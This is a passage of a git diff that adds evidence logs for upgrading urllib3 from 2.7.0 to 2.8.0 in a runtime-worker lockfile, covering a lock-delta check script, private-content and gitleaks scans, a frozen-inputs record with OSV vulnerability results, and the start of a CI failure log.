+urllib3/connection.py:726: ) +urllib3/connection.py:727: +urllib3/connection.py:728: self.key_file = key_file +urllib3/connection.py:729: self.cert_file = cert_file +urllib3/connection.py:730: self.key_password = key_password +urllib3/connection.py:731: self.ssl_context = ssl_context +urllib3/connection.py:732: self.server_hostname = server_hostname +urllib3/connection.py:733: self.assert_hostname = assert_hostname +urllib3/connection.py:734: self.assert_fingerprint = assert_fingerprint +urllib3/connection.py:735: self.ssl_version = ssl_version +urllib3/connection.py:736: self.ssl_minimum_version = ssl_minimum_version +urllib3/connection.py:737: self.ssl_maximum_version = ssl_maximum_version +urllib3/connection.py:738: self.ca_certs = ca_certs and os.path.expanduser(ca_certs) +urllib3/connection.py:739: self.ca_cert_dir = ca_cert_dir and os.path.expanduser(ca_cert_dir) +urllib3/connection.py:740: self.ca_cert_data = ca_cert_data +urllib3/connection.py:741: +urllib3/connectionpool.py sha256 6a147869216b94449a053e869d4311cba23294551c83ee20fe5d2f1eaff50a3e +urllib3/connectionpool.py:1080: self.num_connections += 1 +urllib3/connectionpool.py:1081: log.debug( +urllib3/connectionpool.py:1082: "Starting new HTTPS connection (%d): %s:%s", +urllib3/connectionpool.py:1083: self.num_connections, +urllib3/connectionpool.py:1084: self.host, +urllib3/connectionpool.py:1085: self.port or "443", +urllib3/connectionpool.py:1086: ) +urllib3/connectionpool.py:1087: +urllib3/connectionpool.py:1088: if not self.ConnectionCls or self.ConnectionCls is DummyConnection: # type: ignore[comparison-overlap] +urllib3/connectionpool.py:1089: raise ImportError( +urllib3/connectionpool.py:1090: "Can't connect to HTTPS URL because the SSL module is not available." +Limits: literal source review only; dynamic imports, runtime-assembled names, external/non-Python callers and OAuth authorization-server runtime behavior remain unknown. + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-lock-delta.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-lock-delta.txt new file mode 100644 index 000000000..fcb285938 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-lock-delta.txt @@ -0,0 +1,28 @@ +argv: ["rtk", "proxy", "python3", "-c", "import re,sys,json,hashlib\nfrom pathlib import Path\np=Path(sys.argv[1])\nbefore=(p/'baseline.lock').read_text();after=(p/'candidate.lock').read_text()\npattern=r'(?m)^urllib3==[^\\n]*(?:\\n[ \\t]+[^\\n]*)*'\noldblock=re.search(pattern,before).group(0);newblock=re.search(pattern,after).group(0)\nassert after==before.replace(oldblock,newblock,1),'bytes changed outside urllib3 block'\ndef declarations(s):\n out={}\n for name,kind,value in re.findall(r'(?m)^([a-zA-Z0-9_.-]+)(==| @ )([^\\n]+)',s):\n normalized=re.sub(r'[-_.]+','-',name).lower();out[normalized]=value.rstrip(' \\\\')\n return out\nold=declarations(before);new=declarations(after)\nadded=sorted(set(new)-set(old));removed=sorted(set(old)-set(new))\nchanged=[{'name':n,'before':old[n],'after':new[n]} for n in old.keys() & new.keys() if old[n]!=new[n]]\nassert len(old)==len(new)==176\nassert not added and not removed\nassert changed==[{'name':'urllib3','before':'2.7.0','after':'2.8.0'}]\nexpected=json.loads((p/'urllib3-artifacts.json').read_text())\nhashes=re.findall(r'--hash=sha256:([a-f0-9]+)',newblock)\nassert sorted(hashes)==sorted(a['sha256'] for a in expected)\nresult={'before_sha256':hashlib.sha256(before.encode()).hexdigest(),'after_sha256':hashlib.sha256(after.encode()).hexdigest(),'before_requirements':len(old),'after_requirements':len(new),'unchanged_declarations':175,'changed':changed,'added':added,'removed':removed,'only_urllib3_block_changed':True,'urllib3_hashes_match_official_pypi':True,'urllib3_block':newblock}\nprint(json.dumps(result,indent=2))\n", ""] +cwd: +started_utc: 2026-09-30T15:49:28.413021+00:00 +ended_utc: 2026-09-30T15:49:28.476603+00:00 +exit_code: 0 + +stdout: +{ + "before_sha256": "383ccc5b87702174e471732872f002f1621186710402d048acc2b1910306e106", + "after_sha256": "bd1cbbe864b20cdd33b4c580846ef75451db3aca82a4e5305207890bb6b0d072", + "before_requirements": 176, + "after_requirements": 176, + "unchanged_declarations": 175, + "changed": [ + { + "name": "urllib3", + "before": "2.7.0", + "after": "2.8.0" + } + ], + "added": [], + "removed": [], + "only_urllib3_block_changed": true, + "urllib3_hashes_match_official_pypi": true, + "urllib3_block": "urllib3==2.8.0 \\\n --hash=sha256:0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3 \\\n --hash=sha256:63bf2ead4c879426ebf22ef2a781eeb4aa3b4ae798a0435506f8687fd5bb9b63" +} + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-final-owned-file-publication-scan-after-upstream-example-redaction.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-final-owned-file-publication-scan-after-upstream-example-redaction.txt new file mode 100644 index 000000000..d34295321 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-final-owned-file-publication-scan-after-upstream-example-redaction.txt @@ -0,0 +1,10 @@ +argv: ["rtk", "proxy", "python3", "scripts/validate.py", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-actual-sdk-fixtures.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-8988-9cw3-xx77.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-gh4c-6fx4-qh6g.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-vxq7-64xx-v4gw.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-build-hash-install.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-commands.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-constraints.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-dependency-comparison.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-caller-source-review.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-lock-delta.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-final-owned-file-publication-scan.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-fresh-venv.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-frozen-inputs.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-gitleaks-git-help.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-gitleaks-version.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-hosted-failure-36737133691.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-installed-version-inventory.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-main-repair-pr546.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-maintained-jwt-callers.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-candidate-compile.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-control-compile.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-imports.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pip-check.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pristine-reproduction.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-oauthlib-alias-callers.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-download.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-release.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-source-help.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-version.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-diff-check.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan-after-declared-paths-redaction.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pristine-source-verification.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-215-pypi.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-official.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-osv.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-rejected-normal-commit.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-after-path-sanitization.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-before-integration.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-final-owned-scope.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-requirements.in.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-runtime-hash-install.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-source-cutoff-policy.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-redacted-report.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-rejection.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-hashes.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-sdk-release.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-download.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-extract.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-repro-extract.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0-py3-none-any.whl.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0.tar.gz.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-oauth-literal-sweep.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-published-source-identity.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-pypi.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-release.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag-object.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-compile-help.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-release.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-version.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930.json", "--scan-file", "/blueprints/runtime-workers/openhands/requirements.lock", "--scan-file", "/blueprints/runtime-workers/openhands/pins.json"] +cwd: +started_utc: 2026-09-30T16:15:38.326301+00:00 +ended_utc: 2026-09-30T16:15:38.708370+00:00 +exit_code: 0 + +stdout: +{"scanned_files": 74, "status": "passed"} + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-final-owned-file-publication-scan.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-final-owned-file-publication-scan.txt new file mode 100644 index 000000000..8a2cd22ca --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-final-owned-file-publication-scan.txt @@ -0,0 +1,15 @@ +argv: ["rtk", "proxy", "python3", "scripts/validate.py", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-actual-sdk-fixtures.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-8988-9cw3-xx77.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-gh4c-6fx4-qh6g.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-vxq7-64xx-v4gw.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-build-hash-install.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-commands.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-constraints.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-dependency-comparison.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-caller-source-review.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-lock-delta.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-fresh-venv.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-frozen-inputs.json", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-hosted-failure-36737133691.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-installed-version-inventory.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-main-repair-pr546.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-maintained-jwt-callers.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-candidate-compile.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-control-compile.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-imports.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pip-check.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pristine-reproduction.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-oauthlib-alias-callers.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-download.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-release.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-source-help.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-version.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-diff-check.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan-after-declared-paths-redaction.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pristine-source-verification.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-215-pypi.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-official.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-osv.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-after-path-sanitization.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-before-integration.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-final-owned-scope.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-requirements.in.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-runtime-hash-install.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-source-cutoff-policy.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-hashes.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-sdk-release.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-download.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-extract.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-repro-extract.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0-py3-none-any.whl.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0.tar.gz.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-oauth-literal-sweep.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-published-source-identity.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-pypi.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-release.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag-object.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-compile-help.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-release.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-version.txt", "--scan-file", "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930.json", "--scan-file", "/blueprints/runtime-workers/openhands/requirements.lock", "--scan-file", "/blueprints/runtime-workers/openhands/pins.json"] +cwd: +started_utc: 2026-09-30T16:11:21.489180+00:00 +ended_utc: 2026-09-30T16:11:21.950909+00:00 +exit_code: 1 + +stdout: +Private-content scan failed: +/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.json: contains possible personal home path +/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.txt: contains possible personal home path +/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-215-pypi.txt: contains possible local session identifier +/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-official.txt: contains possible personal home path +/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-osv.txt: contains possible personal home path + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-fresh-venv.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-fresh-venv.txt new file mode 100644 index 000000000..b856189fd --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-fresh-venv.txt @@ -0,0 +1,12 @@ +argv: ["rtk", "proxy", "uv", "venv", "--python", "/.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/bin/python3.13", "--no-python-downloads", "/venv"] +cwd: +started_utc: 2026-09-30T15:49:28.887156+00:00 +ended_utc: 2026-09-30T15:49:28.929644+00:00 +exit_code: 0 + +stdout: + +stderr: +Using CPython 3.13.15 interpreter at: /.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/bin/python3.13 +Creating virtual environment at: /venv +Activate with: source /venv/bin/activate diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-frozen-inputs.json b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-frozen-inputs.json new file mode 100644 index 000000000..0552a6d58 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-frozen-inputs.json @@ -0,0 +1,66 @@ +{ + "schema_version": 1, + "evidence_class": "local_integration", + "frozen_before_compile_utc": "2026-09-30T15:47:23.463430+00:00", + "base_commit": "00aa6c25fe6f27e9f5974e9f6a5592aa31683479", + "allowed_paths": [ + "blueprints/runtime-workers/openhands/requirements.lock", + "blueprints/runtime-workers/openhands/pins.json", + "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-*" + ], + "upstream_sdk_commit": "dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "upstream_urllib3_commit": "b1d30ab61fe0db8f11092805e8c5ac43e091064a", + "toolchain": { + "uv": "0.12.17", + "osv-scanner": "2.6.0", + "python": "3.13.15", + "platform": "Linux x86_64" + }, + "expected_baseline_lock_sha256": "383ccc5b87702174e471732872f002f1621186710402d048acc2b1910306e106", + "requirement_input_sha256": "058d660527965a2713aaad24bc56f15e79829a37029dfa2f64f8e8fcb1e16fba", + "constraints_sha256": "935e34547853b50ebe901a18bc054df02c3f0a6734b3dafbe6e3c654117cb21b", + "original_constraints_sha256": "b4e06f725855214b283cbcd92068cbb45dd3d272114079f1696a7542ab9a94dd", + "ci_config_sha256": "ddff1691844ce7c76d2d1860046074f46aac320f62f35278d508b948184849f8", + "oracles": { + "selected_requirements": 176, + "changed_packages": [ + { + "name": "urllib3", + "before": "2.7.0", + "after": "2.8.0" + } + ], + "unchanged_candidate_versions": 175, + "additions": [], + "removals": [], + "control_byte_identical": true, + "new_fresh_extraction_byte_identical": true, + "hash_install_exit_code": 0, + "pip_check_exit_code": 0, + "sdk_tools_version": "1.50.0", + "actual_sdk_fixture_tests": 12, + "actual_sdk_fixture_skips": 0, + "baseline_ci_config_osv_exit_code": 1, + "baseline_ci_config_osv_ids": [ + "GHSA-8988-9cw3-xx77", + "GHSA-gh4c-6fx4-qh6g", + "GHSA-vxq7-64xx-v4gw" + ], + "candidate_ci_config_osv_exit_code": 0, + "candidate_ci_config_osv_ids": [], + "candidate_empty_config_osv_exit_code": 1, + "candidate_empty_config_osv_ids": [ + "GHSA-hj66-6f7g-4r5v", + "GHSA-xpv3-w29h-x7cv" + ] + }, + "boundary": { + "model_requests": 0, + "provider_acceptance": false, + "image_builds": 0, + "service_starts": 0, + "global_configuration_changes": 0, + "ignore_changes": 0, + "shared_manifests_changes": 0 + } +} diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-gitleaks-git-help.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-gitleaks-git-help.txt new file mode 100644 index 000000000..f4ed8b4a9 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-gitleaks-git-help.txt @@ -0,0 +1,48 @@ +argv: ["rtk", "proxy", "gitleaks", "git", "--help"] +cwd: +started_utc: 2026-09-30T16:13:25.165589+00:00 +ended_utc: 2026-09-30T16:13:25.555327+00:00 +exit_code: 0 + +stdout: +scan git repositories for secrets + +Usage: + gitleaks git [flags] [repo] + +Flags: + -h, --help help for git + --log-opts string git log options + --platform string the target platform used to generate links (github, gitlab) + --pre-commit scan using git diff + --staged scan staged commits (good for pre-commit) + +Global Flags: + -b, --baseline-path string path to baseline with issues that can be ignored + -c, --config string config file path + order of precedence: + 1. --config/-c + 2. env var GITLEAKS_CONFIG + 3. env var GITLEAKS_CONFIG_TOML with the file content + 4. (target path)/.gitleaks.toml + If none of the four options are used, then gitleaks will use the default config + --diagnostics string enable diagnostics (http OR comma-separated list: cpu,mem,trace). cpu=CPU prof, mem=memory prof, trace=exec tracing, http=serve via net/http/pprof + --diagnostics-dir string directory to store diagnostics output files when not using http mode (defaults to current directory) + --enable-rule strings only enable specific rules by id + --exit-code int exit code when leaks have been encountered (default 1) + -i, --gitleaks-ignore-path string path to .gitleaksignore file or folder containing one (default ".") + --ignore-gitleaks-allow ignore gitleaks:allow comments + -l, --log-level string log level (trace, debug, info, warn, error, fatal) (default "info") + --max-archive-depth int allow scanning into nested archives up to this depth (default "0", no archive traversal is done) + --max-decode-depth int allow recursive decoding up to this depth (default 5) + --max-target-megabytes int files larger than this will be skipped + --no-banner suppress banner + --no-color turn off color for verbose output + --redact uint[=100] redact secrets from logs and stdout. To redact only parts of the secret just apply a percent value from 0..100. For example --redact=20 (default 100%) + -f, --report-format string output format (json, csv, junit, sarif, template) + -r, --report-path string report file (use "-" for stdout) + --report-template string template file used to generate the report (implies --report-format=template) + --timeout int set a timeout for gitleaks commands in seconds (default "0", no timeout is set) + -v, --verbose show verbose output from scan + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-gitleaks-version.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-gitleaks-version.txt new file mode 100644 index 000000000..1f6b0135c --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-gitleaks-version.txt @@ -0,0 +1,10 @@ +argv: ["rtk", "proxy", "gitleaks", "version"] +cwd: +started_utc: 2026-09-30T16:13:24.875075+00:00 +ended_utc: 2026-09-30T16:13:25.164292+00:00 +exit_code: 0 + +stdout: +8.30.1 + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-hosted-failure-36737133691.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-hosted-failure-36737133691.txt new file mode 100644 index 000000000..1fbb2f1cf --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-hosted-failure-36737133691.txt @@ -0,0 +1,118 @@ +argv: ["rtk", "proxy", "gh", "run", "view", "36737133691", "--repo", "seathatflowsinourveins/native-agent-stack", "--log-failed"] +cwd: +started_utc: 2026-09-30T15:47:23.463906+00:00 +ended_utc: 2026-09-30T15:47:24.273903+00:00 +exit_code: 0 + +stdout: +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4816546Z ##[group]Run # `shell: bash` runs with -e; turn it off so a findings exit (1) is captured and +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4816942Z ^[[36;1m# `shell: bash` runs with -e; turn it off so a findings exit (1) is captured and^[[0m +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4817245Z ^[[36;1m# the SARIF is still written, then fail the step with the table run's status.^[[0m +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4817482Z ^[[36;1mset +e -u -o pipefail^[[0m +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4817657Z ^[[36;1minventory=.github/osv-scanner-lockfiles.json^[[0m +osv-scanner Scan every listed lockfile and manifest (fails on any unignored vulnerability) 2026-09-30T15:29:52.4817917Z ^[[36;1m# An entry without a parser lets OSV-Scanner infer it from the file name (":").^[[0m +osv-scanner 